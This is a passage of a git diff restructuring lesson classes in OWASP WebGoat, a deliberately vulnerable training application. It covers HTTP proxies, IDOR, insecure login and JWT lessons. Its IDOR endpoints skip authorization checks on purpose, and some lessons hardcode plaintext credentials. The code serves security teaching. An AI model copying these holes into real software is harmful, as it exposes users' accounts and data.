"x-request-intercepted", required = false) Boolean headerValue, - @RequestParam(value = "changeMe", required = false) String paramValue, HttpServletRequest request) { - if (HttpMethod.POST.matches(request.getMethod())) { - return failed(this).feedback("http-proxies.intercept.failure").build(); - } - if (headerValue != null && paramValue != null && headerValue && "Requests are tampered easily".equalsIgnoreCase(paramValue)) { - return success(this).feedback("http-proxies.intercept.success").build(); - } else { - return failed(this).feedback("http-proxies.intercept.failure").build(); - } + @RequestMapping( + path = "/HttpProxies/intercept-request", + method = {RequestMethod.POST, RequestMethod.GET}) + @ResponseBody + public AttackResult completed( + @RequestHeader(value = "x-request-intercepted", required = false) Boolean headerValue, + @RequestParam(value = "changeMe", required = false) String paramValue, + HttpServletRequest request) { + if (HttpMethod.POST.matches(request.getMethod())) { + return failed(this).feedback("http-proxies.intercept.failure").build(); } + if (headerValue != null + && paramValue != null + && headerValue + && "Requests are tampered easily".equalsIgnoreCase(paramValue)) { + return success(this).feedback("http-proxies.intercept.success").build(); + } else { + return failed(this).feedback("http-proxies.intercept.failure").build(); + } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java new file mode 100644 index 000000000..1d9326426 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.httpproxies; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class HttpProxies extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "2.http-proxies.title"; // second lesson in GENERAL + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java new file mode 100644 index 000000000..0adeeb25f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author misfir3 + * @version $Id: $Id + * @since January 3, 2017 + */ +@Component +public class IDOR extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "idor.title"; + } +} diff --git a/webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java similarity index 55% rename from webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java rename to src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java index d1d6d26c4..f145ca1f9 100644 --- a/webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java @@ -20,33 +20,39 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.idor; +package org.owasp.webgoat.lessons.idor; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController -@AssignmentHints({"idor.hints.idorDiffAttributes1", "idor.hints.idorDiffAttributes2", "idor.hints.idorDiffAttributes3"}) +@AssignmentHints({ + "idor.hints.idorDiffAttributes1", + "idor.hints.idorDiffAttributes2", + "idor.hints.idorDiffAttributes3" +}) public class IDORDiffAttributes extends AssignmentEndpoint { - @PostMapping("/IDOR/diff-attributes") - @ResponseBody - public AttackResult completed(@RequestParam String attributes) { - attributes = attributes.trim(); - String[] diffAttribs = attributes.split(","); - if (diffAttribs.length < 2) { - return failed(this).feedback("idor.diff.attributes.missing").build(); - } - if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role") - || diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) { - return success(this).feedback("idor.diff.success").build(); - } else { - return failed(this).feedback("idor.diff.failure").build(); - } + @PostMapping("/IDOR/diff-attributes") + @ResponseBody + public AttackResult completed(@RequestParam String attributes) { + attributes = attributes.trim(); + String[] diffAttribs = attributes.split(","); + if (diffAttribs.length < 2) { + return failed(this).feedback("idor.diff.attributes.missing").build(); } + if (diffAttribs[0].toLowerCase().trim().equals("userid") + && diffAttribs[1].toLowerCase().trim().equals("role") + || diffAttribs[1].toLowerCase().trim().equals("userid") + && diffAttribs[0].toLowerCase().trim().equals("role")) { + return success(this).feedback("idor.diff.success").build(); + } else { + return failed(this).feedback("idor.diff.failure").build(); + } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java new file mode 100644 index 000000000..404d0aeb4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java @@ -0,0 +1,113 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.otherProfile1", + "idor.hints.otherProfile2", + "idor.hints.otherProfile3", + "idor.hints.otherProfile4", + "idor.hints.otherProfile5", + "idor.hints.otherProfile6", + "idor.hints.otherProfile7", + "idor.hints.otherProfile8", + "idor.hints.otherProfile9" +}) +public class IDOREditOtherProfiile extends AssignmentEndpoint { + + @Autowired private UserSessionData userSessionData; + + @PutMapping(path = "/IDOR/profile/{userId}", consumes = "application/json") + @ResponseBody + public AttackResult completed( + @PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) { + + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + // this is where it starts ... accepting the user submitted ID and assuming it will be the same + // as the logged in userId and not checking for proper authorization + // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let + // everyone, right? + // Except that this is a vulnerable app ... so we will + UserProfile currentUserProfile = new UserProfile(userId); + if (userSubmittedProfile.getUserId() != null + && !userSubmittedProfile.getUserId().equals(authUserId)) { + // let's get this started ... + currentUserProfile.setColor(userSubmittedProfile.getColor()); + currentUserProfile.setRole(userSubmittedProfile.getRole()); + // we will persist in the session object for now in case we want to refer back or use it later + userSessionData.setValue("idor-updated-other-profile", currentUserProfile); + if (currentUserProfile.getRole() <= 1 + && currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.success1") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + if (currentUserProfile.getRole() > 1 + && currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.failure1") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + if (currentUserProfile.getRole() <= 1 + && !currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.failure2") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + // else + return failed(this) + .feedback("idor.edit.profile.failure3") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } else if (userSubmittedProfile.getUserId().equals(authUserId)) { + return failed(this).feedback("idor.edit.profile.failure4").build(); + } + + if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) { + return success(this) + .feedback("idor.edit.profile.success2") + .output(userSessionData.getValue("idor-updated-own-profile").toString()) + .build(); + } else { + return failed(this).feedback("idor.edit.profile.failure3").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java new file mode 100644 index 000000000..1b656c0cf --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java @@ -0,0 +1,76 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"idor.hints.idor_login"}) +public class IDORLogin extends AssignmentEndpoint { + + private Map> idorUserInfo = new HashMap<>(); + + public void initIDORInfo() { + + idorUserInfo.put("tom", new HashMap()); + idorUserInfo.get("tom").put("password", "cat"); + idorUserInfo.get("tom").put("id", "2342384"); + idorUserInfo.get("tom").put("color", "yellow"); + idorUserInfo.get("tom").put("size", "small"); + + idorUserInfo.put("bill", new HashMap()); + idorUserInfo.get("bill").put("password", "buffalo"); + idorUserInfo.get("bill").put("id", "2342388"); + idorUserInfo.get("bill").put("color", "brown"); + idorUserInfo.get("bill").put("size", "large"); + } + + @PostMapping("/IDOR/login") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + initIDORInfo(); + UserSessionData userSessionData = getUserSessionData(); + + if (idorUserInfo.containsKey(username)) { + if ("tom".equals(username) && idorUserInfo.get("tom").get("password").equals(password)) { + userSessionData.setValue("idor-authenticated-as", username); + userSessionData.setValue( + "idor-authenticated-user-id", idorUserInfo.get(username).get("id")); + return success(this).feedback("idor.login.success").feedbackArgs(username).build(); + } else { + return failed(this).feedback("idor.login.failure").build(); + } + } else { + return failed(this).feedback("idor.login.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java new file mode 100644 index 000000000..f216cb580 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java @@ -0,0 +1,83 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.otherProfile1", + "idor.hints.otherProfile2", + "idor.hints.otherProfile3", + "idor.hints.otherProfile4", + "idor.hints.otherProfile5", + "idor.hints.otherProfile6", + "idor.hints.otherProfile7", + "idor.hints.otherProfile8", + "idor.hints.otherProfile9" +}) +public class IDORViewOtherProfile extends AssignmentEndpoint { + + @Autowired UserSessionData userSessionData; + + @GetMapping( + path = "/IDOR/profile/{userId}", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) { + Map details = new HashMap<>(); + + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + if (userId != null && !userId.equals(authUserId)) { + // on the right track + UserProfile requestedProfile = new UserProfile(userId); + // secure code would ensure there was a horizontal access control check prior to dishing up + // the requested profile + if (requestedProfile.getUserId().equals("2342388")) { + return success(this) + .feedback("idor.view.profile.success") + .output(requestedProfile.profileToMap().toString()) + .build(); + } else { + return failed(this).feedback("idor.view.profile.close1").build(); + } + } else { + return failed(this).feedback("idor.view.profile.close2").build(); + } + } + return failed(this).build(); + } +} diff --git a/webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java similarity index 53% rename from webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfile.java rename to src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java index 6eedf0024..ec78df0bd 100644 --- a/webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java @@ -20,46 +20,47 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.idor; - +package org.owasp.webgoat.lessons.idor; +import java.util.HashMap; +import java.util.Map; import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.session.UserSessionData; +import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import java.util.HashMap; -import java.util.Map; - @RestController @Slf4j public class IDORViewOwnProfile { - @Autowired - UserSessionData userSessionData; + @Autowired UserSessionData userSessionData; - @GetMapping(path = {"/IDOR/own", "/IDOR/profile"}, produces = {"application/json"}) - @ResponseBody - public Map invoke() { - Map details = new HashMap<>(); - try { - if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { - //going to use session auth to view this one - String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id"); - UserProfile userProfile = new UserProfile(authUserId); - details.put("userId",userProfile.getUserId()); - details.put("name",userProfile.getName()); - details.put("color",userProfile.getColor()); - details.put("size",userProfile.getSize()); - details.put("role",userProfile.getRole()); - } else { - details.put("error","You do not have privileges to view the profile. Authenticate as tom first please."); - } - }catch (Exception ex) { - log.error("something went wrong", ex.getMessage()); - } - return details; + @GetMapping( + path = {"/IDOR/own", "/IDOR/profile"}, + produces = {"application/json"}) + @ResponseBody + public Map invoke() { + Map details = new HashMap<>(); + try { + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + UserProfile userProfile = new UserProfile(authUserId); + details.put("userId", userProfile.getUserId()); + details.put("name", userProfile.getName()); + details.put("color", userProfile.getColor()); + details.put("size", userProfile.getSize()); + details.put("role", userProfile.getRole()); + } else { + details.put( + "error", + "You do not have privileges to view the profile. Authenticate as tom first please."); + } + } catch (Exception ex) { + log.error("something went wrong", ex.getMessage()); } + return details; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java new file mode 100644 index 000000000..a2fe4cb9c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java @@ -0,0 +1,74 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.ownProfileAltUrl1", + "idor.hints.ownProfileAltUrl2", + "idor.hints.ownProfileAltUrl3" +}) +public class IDORViewOwnProfileAltUrl extends AssignmentEndpoint { + + @Autowired UserSessionData userSessionData; + + @PostMapping("/IDOR/profile/alt-path") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + try { + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + // don't care about http://localhost:8080 ... just want WebGoat/ + String[] urlParts = url.split("/"); + if (urlParts[0].equals("WebGoat") + && urlParts[1].equals("IDOR") + && urlParts[2].equals("profile") + && urlParts[3].equals(authUserId)) { + UserProfile userProfile = new UserProfile(authUserId); + return success(this) + .feedback("idor.view.own.profile.success") + .output(userProfile.profileToMap().toString()) + .build(); + } else { + return failed(this).feedback("idor.view.own.profile.failure1").build(); + } + + } else { + return failed(this).feedback("idor.view.own.profile.failure2").build(); + } + } catch (Exception ex) { + return failed(this).feedback("an error occurred with your request").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java new file mode 100644 index 000000000..f1490b2a5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java @@ -0,0 +1,141 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; + +/** Created by jason on 1/5/17. */ +public class UserProfile { + private String userId; + private String name; + private String color; + private String size; + private boolean isAdmin; + private int role; + + public UserProfile() {} + + public UserProfile(String id) { + setProfileFromId(id); + } + + // + private void setProfileFromId(String id) { + // emulate look up from database + if (id.equals("2342384")) { + this.userId = id; + this.color = "yellow"; + this.name = "Tom Cat"; + this.size = "small"; + this.isAdmin = false; + this.role = 3; + } else if (id.equals("2342388")) { + this.userId = id; + this.color = "brown"; + this.name = "Buffalo Bill"; + this.size = "large"; + this.isAdmin = false; + this.role = 3; + } else { + // not found + } + } + + public Map profileToMap() { + Map profileMap = new HashMap<>(); + profileMap.put("userId", this.userId); + profileMap.put("name", this.name); + profileMap.put("color", this.color); + profileMap.put("size", this.size); + profileMap.put("role", this.role); + return profileMap; + } + + public String toHTMLString() { + String htmlBreak = "
"; + return "userId" + + this.userId + + htmlBreak + + "name" + + this.name + + htmlBreak + + "size" + + this.size + + htmlBreak + + "role" + + this.role + + htmlBreak + + "isAdmin" + + this.isAdmin; + } + + // + public String getUserId() { + return userId; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getColor() { + return color; + } + + public void setColor(String color) { + this.color = color; + } + + public String getSize() { + return size; + } + + public void setSize(String size) { + this.size = size; + } + + public boolean isAdmin() { + return isAdmin; + } + + public void setAdmin(boolean admin) { + isAdmin = admin; + } + + public int getRole() { + return role; + } + + public void setRole(int role) { + this.role = role; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java new file mode 100644 index 000000000..d017421e2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.insecurelogin; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class InsecureLogin extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "insecure-login.title"; + } +} diff --git a/webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java similarity index 60% rename from webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java rename to src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java index 10cb2bc72..8d39a594d 100644 --- a/webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java +++ b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java @@ -20,24 +20,28 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.insecure_login; +package org.owasp.webgoat.lessons.insecurelogin; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestParam; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.*; @RestController public class InsecureLoginTask extends AssignmentEndpoint { - @PostMapping("/InsecureLogin/task") - @ResponseBody - public AttackResult completed(@RequestParam String username, @RequestParam String password) { - if (username.toString().equals("CaptainJack") && password.toString().equals("BlackPearl")) { - return success(this).build(); - } - return failed(this).build(); + @PostMapping("/InsecureLogin/task") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if ("CaptainJack".equals(username) && "BlackPearl".equals(password)) { + return success(this).build(); } + return failed(this).build(); + } + + @PostMapping("/InsecureLogin/login") + @ResponseStatus(HttpStatus.ACCEPTED) + public void login() { + // only need to exists as the JS needs to call an existing endpoint + } } diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWT.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java similarity index 80% rename from webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWT.java rename to src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java index bc2100b61..31dee5ef5 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWT.java +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java @@ -20,10 +20,10 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.jwt; +package org.owasp.webgoat.lessons.jwt; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** @@ -33,13 +33,13 @@ import org.springframework.stereotype.Component; @Component public class JWT extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.AUTHENTICATION; - } + @Override + public Category getDefaultCategory() { + return Category.A7; + } - @Override - public String getTitle() { - return "jwt.title"; - } + @Override + public String getTitle() { + return "jwt.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java new file mode 100644 index 000000000..9b27236cb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java @@ -0,0 +1,22 @@ +package org.owasp.webgoat.lessons.jwt; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + 